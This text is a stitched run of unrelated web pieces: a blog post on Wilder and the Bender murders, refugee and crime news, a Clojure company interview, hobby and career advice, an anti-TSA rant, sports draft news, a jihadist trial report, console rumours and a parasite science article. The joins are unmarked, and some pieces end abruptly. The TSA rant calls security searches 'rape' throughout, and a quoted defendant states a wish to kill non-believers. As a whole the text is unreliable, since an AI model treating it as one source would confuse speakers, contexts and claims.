The front room was divided by a calico curtain against which the dining table stood. On the curtain back of the table were stains about as high as the head of a man when seated. Behind the curtain was a trap door in the floor and beside it lay a heavy hammer.
In the cellar underneath was the body of a man whose head had been crushed by the hammer. It appeared that he had been seated at the table back to the curtain and had been struck from behind it. A grave was partly dug in the garden with a shovel close by. The posse searched the garden and dug up human bones and bodies. One body was that of a little girl who had been buried alive with her murdered parents. The garden was truly a grave-yard kept plowed so it would show no signs. The night of the day the bodies were found a neighbor rode up to our house and talked earnestly with Pa. Pa took his rifle down from its place over the door and said to Ma, “The vigilantes are called out.” Then he saddled a horse and rode away with the neighbor. It was late the next day when he came back and he never told us where he had been. For several years there was more or less a hunt for the Benders and reports that they had been seen here or there. At such times Pa always said in a strange tone of finality, “They will never be found.” They were never found and later I formed my own conclusions why.
You will agree it is not a fit story for a children’s book. But it shows there were other dangers on the frontier besides wild Indians.
Some context for why that speech is--to me--astonishing. In Little House on the Prairie, Wilder presents Indians as frightening and menacing. Through Mrs. Scott, she tells us about an Indian massacre. Three times, Wilder's characters say "the only good Indian is a dead Indian." And what about the terrifying tone at the end of Little House on the Prairie, when Pa stays up all night and the entire family listens to Indians "howling" for several nights in a row?
According to Wilder, it is "fit" for children to read about "wild Indians" but it is not "fit" for them to read about serial killers who are white, nor is it "fit" for children to read that Pa killed someone in order to protect his family from harm.
Wilder's speech was reprinted in 1988 in A Little House Sampler, edited by William T. Anderson. A Little House Sampler is cited in eleven other books (according to Amazon), and yet, nobody commented on the Bender's, or Wilder's decision not to include that story.
Update, July 5, 2008
A librarian in Kansas wrote to point me to info on the Benders, who are quite well known as serial killers. She writes:
The Bloody Benders, as they were called, represent one of Kansas' most enduring mysteries. They appeared to be a family of well-organized killers who robbed and killed unsuspecting travelers who ventured into their home/inn for a meal and whose bodies dropped through a trap door in the floor under the chair in which they were seated. Here is further information from our state historical society: Bender Knife.
There is a museum in Cherryvale, KS, which has items from the Bender home and a wreath of human hair from their victims, as well as a roadside marker near Labette, KS: The Bloody Benders.
A Treasury of Victorian Murder: The Saga of the Bloody Benders.
Bangladesh is pushing ahead with a controversial plan to relocate tens of thousands of Rohingya refugees from Myanmar to a remote island, despite warnings it is uninhabitable and prone to flooding.
The government has set up a committee made up of state officials in the coastal districts, ordering authorities to help identify and relocate undocumented Myanmar nationals to Thengar Char in the Bay of Bengal.
"The committee will assist transferring both registered and unregistered refugees from Myanmar to Thengar Char near Hatiya island in Noakhali district," according to an order issued by the Cabinet Division last week and posted online.
READ MORE: Rohingya camps in Bangladesh and Thailand, worlds apart
The relocation plan prompted outrage from Rohingya community leaders, while a UN agency said forced relocation would be "very complex and controversial".
Hatiya is on the estuary of the River Meghna and a nine-hour journey away from camps where the Rohingya have taken shelter.
Some 232,000 Rohingya Muslims - both registered and unregistered - were already living in Bangladesh before more than 65,000 stateless Rohingya fleeing violence in neighbouring Myanmar's western state of Rakhine began crossing into the country last October.
Most of those who fled to Bangladesh live in squalid conditions in refugee camps in Cox's Bazar district, which borders Rakhine state and is Bangladesh's biggest tourist resort.
Bangladesh has also asked officials in the border districts to identify Myanmar nationals who have "illegally infiltrated" the country.
"It has to be assured by taking preventive measures that they (refugees) cannot spread out and mix with the locals," read the order which was dated January 26.
"The identified refugees should be arrested or pushed back to the camps if they try to go out beyond the assigned boundary."
Bangladesh first mooted the idea of relocating the refugees in 2015, despite allegations that the island was not ready for human habitation.
An official in the region criticised the idea, saying the 2,430-hectare island was "only accessible during winter and a haven for pirates".
The authorities were planting trees in a bid to shore up land against high tides and flooding, but those efforts were at least a decade away from completion, the official added.
"It completely inundates during the monsoon," the official told the AFP news agency, speaking on condition of anonymity.
"It's a terrible idea to send someone to live there."
As you write more, you like it more. And it's becoming better and better over time.
HealthUnlocked is a social network for people with healthcare conditions. It is a network built on communities, operated by partner groups such as charities and patient groups; HealthUnlocked provides the platform and technology for these organisations to manage their communities.
Originally HealthUnlocked was built on top of .NET, but over the last few years they have migrated to a Microservice based architecture featuring Clojure.
I caught up with Head of Technology Alex Trofymenko and Head of Engineering Russell Dunphy to learn more.
Background
Jon: How did HealthUnlocked get started?
Russell About seven years ago our Chief Medical Officer saw that there was a gap in provision and information for patients. As a doctor he was finding that patients would leave a consultation with little to no information. There was no place to go to ask questions or to find other people who were having a similar experience.
Around this time social networks were getting popular, but there was nothing health focused; 70% per cent of people have never met someone with the same condition as themselves before joining HealthUnlocked. We have been able to bridge that gap, providing advice on coping and navigating your own health conditions.
Jon: What's an example of the functionality provided by HealthUnlocked to community managers?
Russell: It's not about prescriptions or diagnostics, rather it's about providing coping advice, helping individuals to understand what's happening. This includes management of posts and messages, topics and users' communities.
Alex: It's a peer support network, allowing for patients to share experiences with each other, to ask each other questions. It means that in addition to medical professionals, peers can also help each other.
Russell: We also use machine learning to understand what our users write. We can tailor the information and content we provide to people, making it relevant and life changing, to give people the information they need to better manage their own health.
Tech history
Jon: What's the tech history of HealthUnlocked?
Alex: The company was originally built on Bizspark using .NET. About four years ago we started rebuilding from the big monolith into a Microservice architecture, which allowed us to easily migrate from one language to another. The different parts of our applications talked to each other via REST or message queues.
Russell: I wonder if it's fair to use the term Microservices; sometimes when people use Microservices they take it to ridiculous extremes. Our services are 'reasonably sized services'.
Alex: Yes, the big difference is we went from about 1 big application to 20 services. We looked at it recently, and we went from about 275K lines of C# code to about 70K lines of Clojure code for one project. The reduction of code was quite remarkable.
Jon: So where did Clojure come in?
Alex: It started off as a sort of an experiment. As we were rewriting the app, we wanted an MVC API. We tried using Node, but it didn't really work for us, so we chose Clojure. After building this - it took two days - we went from on there. It was a very incremental process of trying out different languages and seeing what we liked.
Jon: It just stuck?
Alex: As you write more, you like it more. And it's becoming better and better over time.
Russell: I still get blown away by how powerful it is. Just the other day I wrote a tool to parse an entire export of a colleague's emails - pull out the stats and to build a historical record. It was only 30 lines to work with a complex file type I hadn't seen before; it's just really exciting to feel this kind of power.
Jon: What's the team size?
Russell: We have eight full stack developers and two data scientists.
Alex: All the developers are familiar with Clojure. We use pull requests to help get functionality into production.
Tech stack
Jon: What's your tech stack?
Alex: We use MySQL as the primary relational store and Elastic for searches and geospatial searches. Most services are written in Clojure, with the exception of a legacy C# one that is being rewritten. All the front end code is JavaScript with React.
Russell: We are just introducing some ClojureScript and Reframe.
Alex: We also use RabbitMQ for messaging, our websites use NGINX. We're then heavily reliant on AWS.
Rusell: We've got some lambdas.
Alex: Yeah we're experimenting with serverless architectures.
Tech Culture
Jon: It sounds like you've got a good experimental culture?
Alex: Yes, whilst we need to focus on speed of development as we're constantly under pressure to deliver new things, we do experiment, as learning is a primary driver for developers to feel more engaged and more interested. We don't compromise on operational stability.
Russell: At the same time, it is really useful to have a smallish set of technologies in the stack. I'm not going to purposefully choose radically new technologies... we're lucky that Clojure is such a good language.
Learnings
Jon: Have you got any learnings about using Clojure at the architectural level?
Russell: So, controversially, I've come to prefer bigger applications with are composed of independent vertical slices of functionality. We enforce 'in application' segregation using different package structures as boundaries of the various sub-domains. This gives us the benefit of isolation without the pain of setting up the boilerplate of Microservices.
Alex: We're moving towards having a single GIT repo owning access to a data store with multiple apps inside of it. We will have a shared directory for schemas that cross application boundaries.
Russell I think it's important to explicitly define and test interactions between applications using shared schemas, testing both the consumers and producers against these schemas, to make guarantees.
Clojure Spec
Jon: Have you look at Clojure.Spec?
Russell We've got so much Plumatic Schema. We're being a bit cautious about migrating.
Alex: One step at a time.
Russell: Spec has the really powerful idea that you don't have specs for Maps, but you have specs for the keys. In other words the data types of the fields inside the map are defined as individual specs at the key level, which makes the specs more reusable. This is similar to how the Datomic Schema is defined using schema attributes.
Jon: Not sure I'll be able to write that up!
Russell We've also started gently introducing generative testing for our integration tests that hit our databases. We've found a halfway house where effectively we're writing example-based tests; all of the fields that are not specified are generated using test.check generators and schema generators.
Jon: Don't you get random test failures that are a pain to find?
Russell: Yes, that's the power of it! It forces you to think through all your different assumptions.
Alex: It would be impossible to write a test case for every scenario that you would need to find every bug generative. With generative testing you will eventually get around to finding a bug, and when you find them, you fix them. They application then becomes more robust.
Jon: I suppose that test reporting is key?
Alex: Yes, test reports that show the expected output and what was generated.
Hiring
Jon: What's your hiring story?
Russell: It's tough hiring, tough finding people.
Alex: Clojure is still relatively niche. We are looking more for passionate, engaged developers; we try to get them to write tests in Clojure to see how they'll pick it up. It's about hiring smart people more than finding developers that have coded Clojure before.
Russell: It's super important to find someone who is going to be a positive addition to the team. When I first joined I had assumed hiring Clojure developers would be easy, but there are some challenges.
A lot of Clojure developers are very interested in the technical side of development, but to work in HealthUnlocked you need an holistic viewpoint - to understand the whole aspect of the company. We need people who want to deliver good, working software rather than using the latest cool Clojure libraries.
Alex: Because it's LISP based, it's easy to get someone that's very academic but not a practical developer. This is probably true to an extent with all functional languages.
Russell: In Ruby I got so into hyper magical object oriented code, that I cringe now at this kind of complexity. Now I value simplicity.
Alex: Our culture here is very important, we do social activities as well as write code. Experience in Clojure is very useful, but if you don't have it then you can pick it up quickly.
Russell: We're good at hiring for diversity also. We strive for diversity and we see dividends from it. Diversity makes our company vastly better.
Alex: Because of the technologies used and our approach, we aim for a smaller number of people but of higher quality.
Russell: Clojure is so simple that people will pick it up quickly.
Editor Wars.
Jon: What editors do you use?
Alex: We use all of them. Vim, Emacs - Spacemacs, Sublime, Intellij. Our front devs use VS Code. Developers can use whatever they are used to.
RusselL I converted one person to Vim.
Alex: Yes, he's been coding very slowly ever since!
State of Clojure?
Jon: What do you think of the current state of Clojure in London?
Russell: There are lots of meetups and lots to do socially. ClojureBridge is great.
We need more Clojure developers as the bigger companies have sucked up so many.
Jon: What do you think of Clojure's future?
Alex: It will be interesting to see how Clojure and data science come together. Clojure doesn't seem to be made for matrix machine learning and Python has a clear lead. I will be interested to see how this develops.
Russell: Same for NLP and sparse matrices.
Shoutout libs
Russell: We love compojure-API, Schema, Spec, Cheshire.
Alex: Midje, Timbre.
Last word?
Last night’s TGG & Friends Live Broadcast:
Our broadcast is set for every other Tuesday, so the next live broadcast will be Tuesday October 6th.
The basic technique is to paint and gloss coat the parts. If decals are added, the decals also need to be gloss coated. The gloss coat absolutely needs to be completely cured before trying this technique. If the clear gloss is not cured, the masking tape will pull up or leave residue that will be near impossible to remove.
Once the gloss has completely cured; masking tape is applied to the kit. Anything such as stripes patterns, or even a digital camo can be used here.
Once the masking is in place, spray a clear flat over the parts and that is all there is to this technique. Removing the masking will show the clear contrast between the gloss and flat finishes on the same color. And that is all there is to this technique Michael Wine also used this technique on his recently finished Gundam EX-S.
For folks that only use clear coats, this can be done without actually painting the kits. All that is needed is a can of clear gloss, a can of clear flat, and some masking tape; and once the kit is built and decaled; the kit can be clear glossed, allowed to cure, masked off, then clear flat; then remove the masking and you are done!
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Updated
A 12-year-old boy has been arrested over an incident in the Perth CBD last week in which a motorcyclist was knocked off his bike by a rope strung across Wellington Street.
Lawson Mills, 19, received rope burns to his neck in the incident when he was travelling home from his job as a waiter.
After walking over to confront a group of teenagers and children, he was allegedly attacked and had a glass bottle smashed over his head.
Mr Mills was treated in hospital overnight for whiplash, abrasions, rope burn and for a gash to the back of his head, which required around five staples.
Police tracked down the alleged offender after investigating CCTV vision.
The boy, from the eastern Perth suburb of Bayswater, has been charged with one count of wounding.
He is due to appear in the Perth Children's Court today.
Officers are hoping to arrest others involved.
Topics: crime, perth-6000
Let’s face it, data science is cool. And since it’s cool, there are lots of great jobs out there for data people. Unfortunately, lots of people who would love data science just don’t know how to land their first data science job. In this post, I will tell you the three critical steps you need to know to get started.
My Story
Two years ago, I was in a PhD program studying math. I really loved learning math (and still do), but I wasn’t sure that I wanted to become a professor. At one point, I had a project fall apart completely after a year of work. I went through all five stages of grief in about 3 hours, and then I decided:
I Need to Do Something Else!
I knew I needed to do something other than becoming a professor, but I still wasn’t sure what to do. There were a few options I could think of. I could become a teacher, maybe in a high school, but that came with a whole host of difficulties (not least of which was the low pay). I could become a software developer, but software development wouldn’t use any of the math or stats skills I learned in school (and besides, I was not a great programmer).
Enter Data Science
It was at this point that I just started googling randomly. Eventually, I heard about a field called “Marketing Analytics,” where you would use statistical modeling to design targeted marketing programs. Now this was cool! I found the site Meetup.com and started to go to local data-focused meetups. It was here that I first learned about about Big Data, machine-learning, and “Data Science” (which didn’t sound very science-y at all, but did sound cool). I decided that I wanted a job doing Data Science, and soon!
Okay, so how do I actually get a job?
For me, getting a job in data science was 80 percent networking, 20 percent skills, and not the other way around. I think many people make the mistake of thinking that they have to be world-class experts at convolutional neural networks and Hadoop Map-Reduce before they even talk to a single employer. On the contrary, I think that for getting into the field of data science, your professional connections and your credibility are even more important than your skills. Here’s why: data science is such a huge and poorly-defined field that there is not one well-defined technical skill set that every “data scientist” shares. For most jobs, it is much more important to demonstrate to employers that you have general, transferrable data-related technical skills than to be an expert in the specific technologies they mention in the job description (hint: the “requirements” on the job description are usually way above and beyond the actual requirements needed to do the job — “They are more like guidelines”)
Step 1: The right kind of networking
You always hear, “It’s not what you know, it’s who you know.” People often say that in a cynical or resigned way, and they are really trying to imply that you can’t get a good job without already being a member of the local yacht club. On the contrary, I think there’s a more positive, proactive way to manage the “who you know” part of getting a data science job. Ramit Sethi calls it natural networking. When many people network, they are just there to use the people in their network for a job referral or to make a sale (I’ve been a victim of a sales call disguised as “networking” several times). The key to natural networking is to build up and maintain a network of professional contacts with whom you are building an authentic, two-way relationship. This means, for example, that your network should consist of people that you can help, not just people who you think can help you. For example, I was referred to my current job by some people that I met at a Meetup, and now I have paid it forward a few times by referring others to jobs and offering career advice. It’s a pretty simple and fun way to contribute, and it is an essential part of building an authentic professional network.
So how should you get started building your network? There are three strategies that I found useful in my own job search:
Go to local data science Meetups at least once a month
Systematically reach out on email and LinkedIn to at least 1 person a week
Try to have at least one coffee meeting/informational interview a month (preferably one a week)
Step 2: What skills do I really need?
The skills you need really depend on the job you’re looking for. If you’re looking to be a high-performance data software engineer, you probably need to know Java and to really understand Hadoop Map-Reduce. If you want to do marketing analytics for an ad agency, you might need to know SAS. But what if you aren’t sure where to start? My recommendation is to learn R and a little bit about Hadoop. I talk about this at length, including the best R packages to learn, in my article Becoming a Data Hacker. The key point of the article is to pick one technology stack to focus on, and to do at least one project in that technology stack.
Step 3: The interview
From the company’s perspective, most job interviews are all about establishing two things:
– Can the candidate do the job?
– Is the candidate a good fit for the team?
The first question mainly comes down to technical skills and subject-matter knowledge, and the second one mostly comes down to personality and social skills. The best way to nail the first question is to have done real, independent data science projects, so you can talk about data science in convincing detail. It helps to have also read widely and gone to data science meetups, so that you can talk about data science in a general context.
The best way to nail the second question is to know how to answer the innocuous-sounding “tell us about yourself” questions appropriately. This is harder than it sounds, and it’s where interview practice is critical. For example, a typical interview question is: “What is your biggest weakness?” A naive person might just answer the question directly: “I procrastinate too much.” An inexperienced cynic might try to give a weakness that’s really a strength: “Sometimes I work too hard.” But a master interviewer would say something like: “Well, I am pretty good at managing projects, but I struggle sometimes with managing people. To improve this, I am taking an online management course, and I’ve taken on small leadership roles within my team lately.” The master interviewer gives an honest answer, but they also assuage the fears of the interview team, and they demonstrate self-awareness by showing that they are aware of the problem and trying to fix it. Always think about what the interviewer is really asking, and answer the real question, not just the surface question.
Next steps
Paying To Be Raped
Every single day millions of us are being subjected to the shameful processes of being searched, screened and viewed naked, patted, groped, fondled, poked and stroked by badge-wearing strangers- police under a different name. Every single day. Millions of us, Americans. Being violated. Being degraded. You know exactly what I am talking about. I am taking about me, you, your mother, her brother, his brother’s wife and toddler son, their grandmothers. I am talking about the systematic degradation of our people. I am talking about being raped of our dignity, privacy, and decency. I am talking about a daily systematic rape we actually pay to be subjected to. I am talking about severe violations we elect people to bring upon us. Yes, I am talking about traveling, TSA police, and being reduced to naked and helpless subjects of government police practices.
Considering its short tenure, the motherland police force, aka Department of Homeland Security, has had a one of a kind success. In less than a decade it is now the third largest cabinet police department. It has around 200,000 employees, and that’s without counting contract employees - which exceed this number. Now remember, we still have the FBI, CIA, NSA, DIA…plus all the other state and local police forces from before. TSA makes up over 60,000 of DHS employees. This 60,000 federal police force oversees 450 airports, so that makes it around 133 police per airport. And that’s in addition to local airport police.
What do I mean by not so gradual and systematic degradation? I mean in less than ten years, they went from this:
to This then to This
And now to this, this, this, and this all together:
Next, coming soon, very soon, it will be This
and This
Last week TSA announced that airline passengers should expect to see and feel additional pat-down procedures at U.S. airports over the coming weeks to provide another layer of security. They said passengers should continue to expect "an unpredictable mix of security layers that include explosives trace detection, advanced imaging technology, canine teams, among others."
The following blurb comes from CNN, thanks to one of its employees who chose to speak up a little, only a little (all emphasis in bold are mine):
Rosemary Fitzpatrick, a CNN employee, said she was subjected to a pat-down at the Orlando, Florida, airport on Wednesday night after her underwire bra set off a magnetometer. She said she was taken to a private area and searched, with transportation screening officers telling her the pat-down was a new procedure. According to Fitzpatrick, a female screener ran her hands around her breasts, over her stomach, buttocks and her inner thighs, and briefly touched her crotch."I felt helpless, I felt violated, and I felt humiliated," Fitzpatrick said, adding that she was reduced to tears at the checkpoint. She particularly objected to the fact that travelers were not warned about the new procedures. …
Okay, up to this point I was pleasantly surprised to see this piece being run by a mainstream outlet, and the fact that this woman didn’t take the rape in silence and go away the way most do when it comes to these government sanctioned and implemented systematic rapes, but then I reached the following:
"I am appalled and disgusted at the new search procedures and the fact that passengers have not been made aware of the new invasive steps prior to entering the security area," Fitzpatrick wrote. "It appears once you enter the security area, passengers forfeit their rights. There were no signs, video information, etc. at the entrance of the security area at the airport. Why?" She added: "As an experienced traveler for work who was in tears for most of the search process, I have never experienced a more traumatic and invasive travel event!"
First, let me give her due credit for saying out loud that she objected and felt: helpless, violated, humiliated, appalled and disgusted. But after that, it is my turn to be appalled. Is the process supposed to get less humiliating, appalling, traumatic, and disgusting if the violators give prior notice about the violations, the rapes, to come??!!! Please walk with me through the following reasoning:
Two rapists are brought before a judge. One had caught his victim by surprise through a blitz attack, then violently raped her. The other had stalked his victim for a while, sent her some disturbing warning notes, and then violently raped her. Victim one turns around and tells victim two: Why do you feel violated?! Your rapist gave you the courtesy of warning notes - and that makes his rape much less of an offense than my rapist!!
My question to CNN’s Fitzpatrick is this: Next time, when these people squeeze your breast, poke your buttocks and stomach, and grab your crotch, will you feel okay? Far less violated? All because now you know what to expect?!
After reading the piece I quickly scanned other news sites, both mainstream and alternative. Almost all of them picked up the story and reported it per the original, and the strongest cursory comment at one site was that the story and Fitzpatrick’s experience was ‘unsettling.’ Wow! How hard-hitting! But that was not what I found, and find, so very ‘unsettling.’ Not at all.
What I find truly unsettling is that we only have a handful like Fitzpatrick who come forward screaming about the horrifying, humiliating, violating, traumatic …nature of these federal police practices (abuses) in all our airports. Now that is truly unsettling, shocking, and appalling as far as I am concerned. Millions are going through these routine rape processes (Yes, RAPE: raping you of your dignity, privacy, humanity, and more. Ok?!) without a peep. What is going on here? Have ‘their’ systematic humiliation and degradation practices been so successful that millions take it regularly without any protest, objection, action, counteraction?!
I am talking about the hard-core ACLU following liberals. Where the he … are you?! I can’t hear or see you. Where is the protest? Give me a holler, and let me know where and when and I’ll be there to join. Here I’m hollering on the record. And no, don’t go file a couple of lawsuits and say that you’ve done your share; that lazy move hasn’t worked for at least a decade!!
I am talking about those on the extreme right of those mentioned above. What happened to your slogan of small government and keeping a tight rein on federal government practices? Isn’t this as close and personal it gets, when your feds are squeezing your testicles while breathing inches from your face, and while you are fully paying for these squeezing and probing services?! I thought you’d attributed these practices to those commies, shouldn’t you be barking when it is in your own backyard?
I am talking about old fashion patriarchal guys. Where are you macho and good ole cowboy mentality testosterone walking bags when your wives and daughters are being fondled, squeezed, and intimately probed? Shouldn’t you be roaring like lions and throwing punches like John Wayne when it comes to those who violate your ‘women’? Don’t you feel your manliness under attack when they make you stand in front of them, with your legs apart, arms up to each side, while their hands wrap around measuring your buttocks?
I am talking about us Americans, those to the right, the ones on the left, the upper class- lower class, and those in the middle…Here we are, the entire nation, being violated and raped on a daily basis by our servants whom we pay for dearly. Last time I checked we were paying them over $7 Billion - here it is with all the zeroes: $7,000,000,000. Please, don’t even try to bring up that ‘security’ punch line so overused and abused, because last time I checked they were not providing much in terms of ‘security.’ In fact they couldn’t even secure their own personnel files and records.
Soon they will be bending us over to give us a thorough cavity search. After that it will be all cavities… And after that…There will be one or two who may stand up and scream. And for ‘them,’ one or two, even ten will be very easy to quash and ‘eliminate.’ Yet, I am still here, still hoping; hoping that somehow I’ll get to see that number in the tens of thousands and beyond, and that’s the only hope I see to stop our expedited degradation process. They say it always starts with one. Well, here I am, willing to be one. How about you?
“Young women need classes in low self-esteem, not in high self-esteem. They’re brought up now to have an unrealistic view of themselves. It makes them live in a sort of bubble. They won’t listen to anybody else. They deny the existence of other thoughts and other people. It makes them terribly easy to offend.”
She also argued that what was once seen as ‘welcome attention’ from men was now viewed as sexual harassment, and that the women who claimed to have been ‘molested’ by Donald Trump were after cash.
“In my youth, what is now seen as sexual harassment was seen as welcome attention,” she said.
The AFL wrote to clubs recently asking for feedback on proposed changes to the academy bidding structure, with clubs having to submit their suggestions by Friday this week.
The possible rewriting of the academy rules include a system where top-four clubs would access just one academy player in the first 20 draft picks if a bid falls in that range.
Teams that finish in the second half of the top eight would be able to select two in the same bracket of picks, while clubs that finish outside the finals would not be subject to any restrictions (as is the case currently).
A watering down of the 20 per cent discount afforded to academy clubs (and those with father-son prospects) has also been mooted.
Brisbane Lions football manager David Noble said the club, which had two top-25 academy picks in 2015 (Eric Hipwood and Ben Keays), is reluctant to see the system changed.
"We're a growing economy here and we're an aspiring football academy, and I think any restrictions that get placed on us is really tough," Noble told AFL.com.au.
"We're in an area that we need to grow pathways and aspiration, and we'll put a submission in and we'd be concerned about that aspiration not having the full light of day with restrictions."
The Lions look set to land one of the leading players in this year's NAB AFL Draft pool, with No.1 contender Connor Ballenden tied to the club's academy. The 200cm key forward is a powerful mark and straight kick for goal and has already played for the Lions' NEAFL team.
The possible redesign of the academy rules comes just two years after it was totally reshaped and became a live element of draft night.
Each of the northern clubs have been given a 20 per cent points discount when matching bids for prospects, and Noble said it was vital that remained if the system is changed.
"We commit and invest a lot of time. I think it's now well justified that there is a discount and to remove it would be detrimental to your return on investment. It really diminishes as a result of that," he said.
"It's to just take the discount in isolation and say we'll remove it because of where you potentially finish on the ladder. There's a lot of backend areas that need to be considered in that: whether it's a non-footy state, if the player has been in the academy for four or five years, the number of hours invested.
"There's a whole scope of variations that go into the mix of what should be considered for that discount."
Noble, who joined the Lions at the end of last year after being football manager at Adelaide, is a part of the AFL's player movement advisory group.
He said the Lions understand "the essence" of why the AFL is looking to reshape the academy rules, but that it should be given time to mature, like has been given to free agency since it was introduced in 2012.
"We do need a little bit of time to see how the bidding system comes through," he said.
"For me they are all the same," said Yilmaz, who is himself Turkish. "Allah gave us the right to fight against those people who are fighting us," he said, adding that many Muslims had been attacked in Iraq and Afghanistan.
Yilmaz also said he stood by an earlier statement that he wanted to kill as many non-believers as possible.
Asked whether he would return to fighting armed jihad - holy war - after serving his sentence, the 30-year-old said, "I don't know yet."
Yilmaz belongs to the so-called Sauerland Group, together with fellow defendants Fritz Gelowicz, Daniel Schneider and Attila Selek.
Yilmaz arrived in Germany in 1986 and said he decided to join the armed "holy war" in 2004. His initial target had been Iraq. He added that the Americans were the "head of the team" fighting Islam.
Daniel Schneider is distancing himself from the idea of a holy war
Yilmaz was the second member of the group, arrested after intense police surveillance, to make an extensive confession. In return he's likely to be given a reduced sentence.
The case is expected to yield unprecedented details of militant Islamist training and recruitment methods in Pakistan.
Co-defendent Schneider also testified on Wednesday, when he sought to distance himself from the group’s activities, labelling jihad as senseless.
"I would no longer choose to move towards jihad," the 23-year-old said, adding that he doubted that jihadist attacks served any purpose given the strength of Western forces, which he said were aligned against Islam.
dfm/nda/dpa/AP
If true, these numbers mean PlayStation 4 will have a 50% raw, computational power advantage over Xbox 720.
If latest rumours regarding next generation hardware are to be believed, the next PlayStation is to be significantly more powerful that the next Xbox.
Developer sources, speaking after meetings at CES, have told VG247 that the next PlayStation, codenamed Orbis, will have a run-capability of 1.84 teraflops. Conversely, the next Xbox, codenamed Durango, will be able to achieve 1.23 teraflops.
If true, these numbers mean PlayStation 4 will have a 50% raw, computational power advantage over Xbox 720.
While PS4 will have greater grunt that 720, however, the Microsoft machine has significantly more RAM at 8Gb, we’ve been told. Our source said that 3Gb is reserved for the OS, apps and security, leaving 4-5Gb for games.
Orbis will have 4Gb of RAM, said our source, of which 1Gb will be reserved for for OS, security and apps, leaving some 3Gb for games.
Both machines will supposedly have have the ability to read 100Gb Blu-ray discs.
Durango is apparently based on the Radeon HD 8770 GPU.
PlayStation 4 has been previously rumoured to be built on AMD’s A10 APU.
It was recently claimed that the two machines are to be announced in late March. It’s widely assumed that both consoles will launch in November this year.
Scottish football could be moving towards a player draft system under new proposals put forward by the Scottish FA and backed by national manager Gordon Strachan.
Its aim is to get younger players more competitive game time.
The plan foresees Scottish Premiership clubs providing around five under-20's players for a lower league draft pot.
Club representatives were told about the plans during a presentation at Hampden Park on Wednesday.
It was headed up by Strachan and SFA performance director Brian McClair.
The SFA will now look to set up a steering group and invite club representatives to take part before reporting back with a firm proposal.
In a system similar to American Football's National Football League college draft, club picks could depend on league position - with the team at the bottom of the Championship possibly having first pick of the player pool.
Speaking to BBC Scotland, one Scottish Premiership chairman described the proposals as "innovative and interesting" and said all ideas on the table should be listened to.
Ronny Deila is in favour of loaning out Celtic academy players to lower league clubs
The draft plans were one of many proposals discussed as the SFA pushed forward with its review of the game's youth development system.
It is understood that the SFA is also keen to cut the number of so-called elite players in the current youth academy system in an attempt to create better competition and a best versus best environment.
Celtic manager Ronny Deila says he is always willing to cooperate with other clubs when it comes to loaning out talented youngsters and is generally keen to see young players gain experience at other clubs.
"It is the first time I have heard about it, so it is hard for me to say something about it, but in general it is important the youngsters get experience and a chance," Deila said.
"That is why we loan out a lot of our younger players when they come to a stage that they have trained with the first-team, played in the under-20s and then need a new step between playing under-20s and playing for Celtic."
"It is always positive to cooperate with different clubs and do the best for Scottish football.
"For us, we haven't had any problem getting players out on loan. We have a lot of good players here.
"A lot of the other teams in the different divisions want to have them. For us, it is about us getting the right ones into the right places. Everything is about relations."
John Hughes says the academy system for youth players in Scotland is not working
Inverness Caledonian Thistle manager John Hughes has, however, dismissed the notion of a draft system and insists that, in order to improve Scottish football, the emphasis has to be on coaching youngsters' technique and getting them playing day in day out.
"I think that's a lot of rubbish. It was never on the agenda. I don't where that's come from," Hughes told BBC Scotland.
"We need to be coaching technical ability - forget tactics. Every footballer should be double step-overs drag backs left foot right foot, technical right up to they're 12 years old.
"I don't think it's about elite academies. I don't think it works. Play for Boys' Brigade, play for the boys clubs, play for your school.
"Do you know why school football's great? Because you never got coached - you just went and enjoyed yourself and played football.
"Kids getting too much football? You're having a laugh. Should be playing football every night and every day.
A worm gets into the brain of a shy, shade-loving snail, compelling it to crawl out of its safe home and into the open where it gets attacked by a bird—which is destined to be the parasite's next host.
Creepy tales like these are happening all over the animal kingdom, and not just on Halloween or under a full moon. Some organisms have taken evolutionary advantage to a whole new level, achieving success by insidiously—and still quite mysteriously—changing the behavior of another animal against its will.
View a Slide Show of Zombie Animals
Although not undead in the strictest sci-fi definition of "zombie," these captive creatures nonetheless behave as if possessed by a force from beyond. That force, however, is often controlling them from the inside, making the unfortunate hosts do deadly things.
In the case of the spooked spider (Plesiometa argyra), a parasitic wasp (Hymenoepimecis argyraphaga) lays her eggs on the spider's abdomen. Just before the larva emerges, the host spins a strange, new type of web—one that looks nothing like its usual wide nets. This silk platform, however, is perfectly suited to supporting a cocoon for the vulnerable young wasp larvae, which have been feasting on the spider's innards as they grow.
The snail-manipulating flatworm (Leucochloridium paradoxum) grows and multiplies inside the snail. Once ready to move on to its next host, the worms push up into the snail's tentacles, making them swell and squirm, mimicking the action of bugs that birds like to eat. As the snail crawls, blindly, into the sunlight, a passing bird is likely to swoop down to snatch a tasty tentacle or two. The worm-infested meal will then infect the bird, which passes it onto other snails via dubious droppings.
The mechanisms by which these parasites are commanding their hosts remain, by in large, unsolved mysteries.
"We don't know how it works, but it's obviously some type of chemical," says David Hughes, a researcher at Harvard University. "It's co-opting a preexisting behavior." As part of their normal routine, snails climb stalks and spiders spin webs, but the parasites have managed to take these particular behaviors and mold them to their own advantage—often resulting in their hosts' demise.
"Typically you have behavior that a host would do at some point in its life," adds Edward Levri, an associate professor of biology at The Pennsylvania State University in Altoona. "It's just happening at an odd, nonadvantageous time for the host, to the benefit of the parasite."
Creepy control
So many very different—and very bizarre—examples of parasite-controlled behavior modification have been observed that researchers have a wealth of instances to study. But it is no longer enough to document these parasites. "We have to go beyond describing behavior," Hughes says. "Now people are trying to look at how parasites are changing behavior."
Figuring this puzzle out, however, has proved to be quite difficult. "Modified organisms are more complex than we had previously believed," says Frederic Thomas, a scientist at the Genetics and Evolution of Infectious Diseases research group in Montpellier, France, and the department of biology at the University of Montreal.
With improved technology, researchers in this freaky field have been able to start sequencing the genomes and parsing proteins of some of these parasites and hosts to unravel where behavioral changes happen. "In at least some cases, some of these parasites produce neurotransmitters or hormones that mimic host hormones," Levri says.
Not all of the parasites, however, are traditional body snatchers.
"You can easily understand that a parasite can control the behavior when it is inside," Thomas says. But how do some manage to dictate a host's behavior when they're not, technically, hosting a parasite? "To me, it's like magic," he adds.
The aberrant web-spinning P. argyra demonstrates this to some extent, the parasitic wasp eggs having been laid on the outside of the spider's body. In another bizarre example of external control, a different species of wasp (Ampulex compressa) is able to control a cockroach—via an injection into its brain—and force it to enter its nest to become food and shelter for the wasp's larvae.
Are humans next?
Even people may not be fully immune to such manipulation. Much of our modern-day behavior seems to suit the interests other species, such as hitchhiking invasive species and airline-riding viruses that hop continents in a matter of hours. But can we also be manipulated from within?
